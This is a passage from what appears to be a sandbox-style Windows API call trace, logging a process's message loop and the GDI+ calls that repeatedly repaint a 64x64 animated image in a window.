[0122.834] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0122.834] GetSystemMetrics (nIndex=42) returned 0 [0122.834] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ea0 [0122.834] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ea0, nMaxCount=1 | out: lpString="") returned 0 [0122.834] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ea0) returned 0x0 [0122.834] CoTaskMemFree (pv=0x1afd3ea0) [0122.834] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0122.834] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0122.835] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0122.835] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0122.835] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5b01018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0122.835] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.835] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5b01018a) returned 0x0 [0122.835] SelectObject (hdc=0x5b01018a, h=0x185000f) returned 0x1a05067e [0122.835] DeleteDC (hdc=0x5b01018a) returned 1 [0122.835] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.835] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0122.835] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0122.835] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0122.835] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0122.835] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0122.836] WaitMessage () returned 1 [0123.061] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0123.061] IsWindowUnicode (hWnd=0x2031e) returned 1 [0123.061] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0123.061] TranslateMessage (lpMsg=0x15e910) returned 0 [0123.061] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0123.061] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0123.061] GetCurrentThreadId () returned 0xec0 [0123.061] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0123.061] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0123.061] IsWindowUnicode (hWnd=0x2031e) returned 1 [0123.061] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0123.062] TranslateMessage (lpMsg=0x15e910) returned 0 [0123.062] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0123.062] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0123.062] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0123.062] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5c01018a [0123.062] SelectObject (hdc=0x5c01018a, h=0x1a05067e) returned 0x185000f [0123.062] GdipCreateFromHDC (hdc=0x5c01018a, graphics=0x15daf0) returned 0x0 [0123.062] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0123.062] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0123.062] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0123.062] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0123.063] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0123.063] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0e70 [0123.063] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a0e70) returned 0x0 [0123.063] LocalFree (hMem=0x1e7a0e70) returned 0x0 [0123.063] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0123.063] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0123.063] GdipCreateRegion (region=0x15dc20) returned 0x0 [0123.063] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0123.064] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0123.064] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0123.064] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0123.064] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0123.064] GetSystemMetrics (nIndex=42) returned 0 [0123.064] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ed0 [0123.064] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ed0, nMaxCount=1 | out: lpString="") returned 0 [0123.064] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ed0) returned 0x0 [0123.064] CoTaskMemFree (pv=0x1afd3ed0) [0123.064] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0123.064] GdipCreateRegion (region=0x15d710) returned 0x0 [0123.064] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0123.064] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0123.064] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0123.064] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0123.064] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0e70 [0123.064] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a0e70) returned 0x0 [0123.065] LocalFree (hMem=0x1e7a0e70) returned 0x0 [0123.065] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0123.065] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0e70 [0123.065] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a0e70) returned 0x0 [0123.065] LocalFree (hMem=0x1e7a0e70) returned 0x0 [0123.066] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0123.066] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0123.066] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0123.066] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0123.066] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0123.066] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0123.066] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0123.066] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0123.066] GetCurrentObject (hdc=0x5c01018a, type=0x1) returned 0x1b00017 [0123.066] GetCurrentObject (hdc=0x5c01018a, type=0x2) returned 0x1900010 [0123.066] GetCurrentObject (hdc=0x5c01018a, type=0x7) returned 0x1a05067e [0123.066] GetCurrentObject (hdc=0x5c01018a, type=0x6) returned 0x18a002e [0123.066] SaveDC (hdc=0x5c01018a) returned 1 [0123.066] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x39040b8a [0123.066] GetClipRgn (hdc=0x5c01018a, hrgn=0x39040b8a) returned 0 [0123.066] SelectClipRgn (hdc=0x5c01018a, hrgn=0x690407c3) returned 2 [0123.066] DeleteObject (ho=0x39040b8a) returned 1 [0123.067] DeleteObject (ho=0x690407c3) returned 1 [0123.067] OffsetViewportOrgEx (in: hdc=0x5c01018a, x=0, y=0, lppt=0x276d5a0 | out: lppt=0x276d5a0) returned 1 [0123.067] GetNearestColor (hdc=0x5c01018a, color=0xffffff) returned 0xffffff [0123.067] CreateSolidBrush (color=0xffffff) returned 0x41100190 [0123.067] FillRect (hDC=0x5c01018a, lprc=0x15d7c0, hbr=0x41100190) returned 1 [0123.067] DeleteObject (ho=0x41100190) returned 1 [0123.067] RestoreDC (hdc=0x5c01018a, nSavedDC=-1) returned 1 [0123.067] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0123.067] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5c01018a) returned 0x0 [0123.067] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd640dbd) returned 0x0 [0123.067] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0123.067] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0123.067] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0123.067] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0123.068] GetSystemMetrics (nIndex=42) returned 0 [0123.068] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ed0 [0123.068] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ed0, nMaxCount=1 | out: lpString="") returned 0 [0123.068] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ed0) returned 0x0 [0123.068] CoTaskMemFree (pv=0x1afd3ed0) [0123.068] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xa) returned 0x0 [0123.070] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0123.070] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0123.070] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0123.071] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0123.071] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5c01018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0123.071] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0123.071] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5c01018a) returned 0x0 [0123.071] SelectObject (hdc=0x5c01018a, h=0x185000f) returned 0x1a05067e [0123.071] DeleteDC (hdc=0x5c01018a) returned 1 [0123.071] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0123.071] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0123.071] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0123.071] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0123.071] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0123.071] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0123.072] WaitMessage () returned 1 [0123.811] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0123.811] IsWindowUnicode (hWnd=0x2031e) returned 1 [0123.811] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0123.811] TranslateMessage (lpMsg=0x15e910) returned 0 [0123.811] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0123.812] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0123.812] GetCurrentThreadId () returned 0xec0 [0123.812] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0123.812] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0123.812] IsWindowUnicode (hWnd=0x2031e) returned 1 [0123.812] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0123.812] TranslateMessage (lpMsg=0x15e910) returned 0 [0123.812] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0123.812] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0123.812] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0123.812] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5d01018a [0123.812] SelectObject (hdc=0x5d01018a, h=0x1a05067e) returned 0x185000f [0123.813] GdipCreateFromHDC (hdc=0x5d01018a, graphics=0x15daf0) returned 0x0 [0123.813] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0123.813] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0123.813] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0123.813] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0123.813] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0123.813] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1330 [0123.813] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a1330) returned 0x0 [0123.814] LocalFree (hMem=0x1e7a1330) returned 0x0 [0123.814] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0123.814] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0123.814] GdipCreateRegion (region=0x15dc20) returned 0x0 [0123.814] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0123.814] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0123.814] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0123.814] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0123.814] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0123.814] GetSystemMetrics (nIndex=42) returned 0 [0123.814] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ee0 [0123.814] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ee0, nMaxCount=1 | out: lpString="") returned 0 [0123.814] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ee0) returned 0x0 [0123.814] CoTaskMemFree (pv=0x1afd3ee0) [0123.814] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0123.815] GdipCreateRegion (region=0x15d710) returned 0x0 [0123.815] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0123.815] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0123.815] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0123.815] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0123.815] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1330 [0123.815] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a1330) returned 0x0 [0123.815] LocalFree (hMem=0x1e7a1330) returned 0x0 [0123.815] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0123.815] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1330 [0123.816] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a1330) returned 0x0 [0123.816] LocalFree (hMem=0x1e7a1330) returned 0x0 [0123.816] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0123.816] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0123.816] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0123.816] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0123.816] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0123.816] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0123.817] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0123.817] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0123.817] GetCurrentObject (hdc=0x5d01018a, type=0x1) returned 0x1b00017 [0123.817] GetCurrentObject (hdc=0x5d01018a, type=0x2) returned 0x1900010 [0123.817] GetCurrentObject (hdc=0x5d01018a, type=0x7) returned 0x1a05067e [0123.817] GetCurrentObject (hdc=0x5d01018a, type=0x6) returned 0x18a002e [0123.817] SaveDC (hdc=0x5d01018a) returned 1 [0123.817] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6a0407c3 [0123.817] GetClipRgn (hdc=0x5d01018a, hrgn=0x6a0407c3) returned 0 [0123.817] SelectClipRgn (hdc=0x5d01018a, hrgn=0x3a040b8a) returned 2 [0123.817] DeleteObject (ho=0x6a0407c3) returned 1 [0123.817] DeleteObject (ho=0x3a040b8a) returned 1 [0123.817] OffsetViewportOrgEx (in: hdc=0x5d01018a, x=0, y=0, lppt=0x276e8c8 | out: lppt=0x276e8c8) returned 1 [0123.817] GetNearestColor (hdc=0x5d01018a, color=0xffffff) returned 0xffffff [0123.818] CreateSolidBrush (color=0xffffff) returned 0x42100190 [0123.818] FillRect (hDC=0x5d01018a, lprc=0x15d7c0, hbr=0x42100190) returned 1 [0123.818] DeleteObject (ho=0x42100190) returned 1 [0123.818] RestoreDC (hdc=0x5d01018a, nSavedDC=-1) returned 1 [0123.818] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0123.818] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5d01018a) returned 0x0 [0123.818] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd620dbd) returned 0x0 [0123.818] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0123.818] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0123.818] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0123.818] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0123.818] GetSystemMetrics (nIndex=42) returned 0 [0123.818] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ee0 [0123.818] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ee0, nMaxCount=1 | out: lpString="") returned 0 [0123.818] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ee0) returned 0x0 [0123.819] CoTaskMemFree (pv=0x1afd3ee0) [0123.819] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0123.819] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0123.819] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0123.819] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0123.819] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5d01018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0123.819] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0123.819] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5d01018a) returned 0x0 [0123.819] SelectObject (hdc=0x5d01018a, h=0x185000f) returned 0x1a05067e [0123.819] DeleteDC (hdc=0x5d01018a) returned 1 [0123.819] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0123.819] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0123.820] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0123.820] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0123.820] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0123.820] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0123.820] WaitMessage () returned 1 [0124.039] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0124.040] IsWindowUnicode (hWnd=0x2031e) returned 1 [0124.040] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0124.040] TranslateMessage (lpMsg=0x15e910) returned 0 [0124.040] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0124.040] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0124.040] GetCurrentThreadId () returned 0xec0 [0124.040] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0124.040] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0124.040] IsWindowUnicode (hWnd=0x2031e) returned 1 [0124.040] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0124.040] TranslateMessage (lpMsg=0x15e910) returned 0 [0124.040] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0124.040] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0124.040] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0124.041] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5e01018a [0124.041] SelectObject (hdc=0x5e01018a, h=0x1a05067e) returned 0x185000f [0124.041] GdipCreateFromHDC (hdc=0x5e01018a, graphics=0x15daf0) returned 0x0 [0124.041] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0124.041] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0124.041] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0124.041] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0124.041] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0124.041] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1970 [0124.041] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a1970) returned 0x0 [0124.042] LocalFree (hMem=0x1e7a1970) returned 0x0 [0124.042] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.042] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0124.042] GdipCreateRegion (region=0x15dc20) returned 0x0 [0124.042] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0124.042] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0124.042] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0124.042] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0124.042] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0124.042] GetSystemMetrics (nIndex=42) returned 0 [0124.042] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ee0 [0124.043] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ee0, nMaxCount=1 | out: lpString="") returned 0 [0124.043] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ee0) returned 0x0 [0124.043] CoTaskMemFree (pv=0x1afd3ee0) [0124.043] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0124.043] GdipCreateRegion (region=0x15d710) returned 0x0 [0124.043] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0124.043] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0124.043] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0124.043] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0124.043] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1970 [0124.043] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a1970) returned 0x0 [0124.044] LocalFree (hMem=0x1e7a1970) returned 0x0 [0124.044] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0124.044] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1970 [0124.044] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a1970) returned 0x0 [0124.044] LocalFree (hMem=0x1e7a1970) returned 0x0 [0124.044] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.044] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0124.044] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0124.044] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0124.045] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0124.045] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.045] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0124.045] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0124.045] GetCurrentObject (hdc=0x5e01018a, type=0x1) returned 0x1b00017 [0124.045] GetCurrentObject (hdc=0x5e01018a, type=0x2) returned 0x1900010 [0124.045] GetCurrentObject (hdc=0x5e01018a, type=0x7) returned 0x1a05067e [0124.045] GetCurrentObject (hdc=0x5e01018a, type=0x6) returned 0x18a002e [0124.045] SaveDC (hdc=0x5e01018a) returned 1 [0124.045] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3b040b8a [0124.045] GetClipRgn (hdc=0x5e01018a, hrgn=0x3b040b8a) returned 0 [0124.045] SelectClipRgn (hdc=0x5e01018a, hrgn=0x6b0407c3) returned 2 [0124.045] DeleteObject (ho=0x3b040b8a) returned 1 [0124.045] DeleteObject (ho=0x6b0407c3) returned 1 [0124.045] OffsetViewportOrgEx (in: hdc=0x5e01018a, x=0, y=0, lppt=0x276fb88 | out: lppt=0x276fb88) returned 1 [0124.046] GetNearestColor (hdc=0x5e01018a, color=0xffffff) returned 0xffffff [0124.046] CreateSolidBrush (color=0xffffff) returned 0x43100190 [0124.046] FillRect (hDC=0x5e01018a, lprc=0x15d7c0, hbr=0x43100190) returned 1 [0124.046] DeleteObject (ho=0x43100190) returned 1 [0124.046] RestoreDC (hdc=0x5e01018a, nSavedDC=-1) returned 1 [0124.046] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.046] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5e01018a) returned 0x0 [0124.046] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd600dbd) returned 0x0 [0124.046] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0124.046] 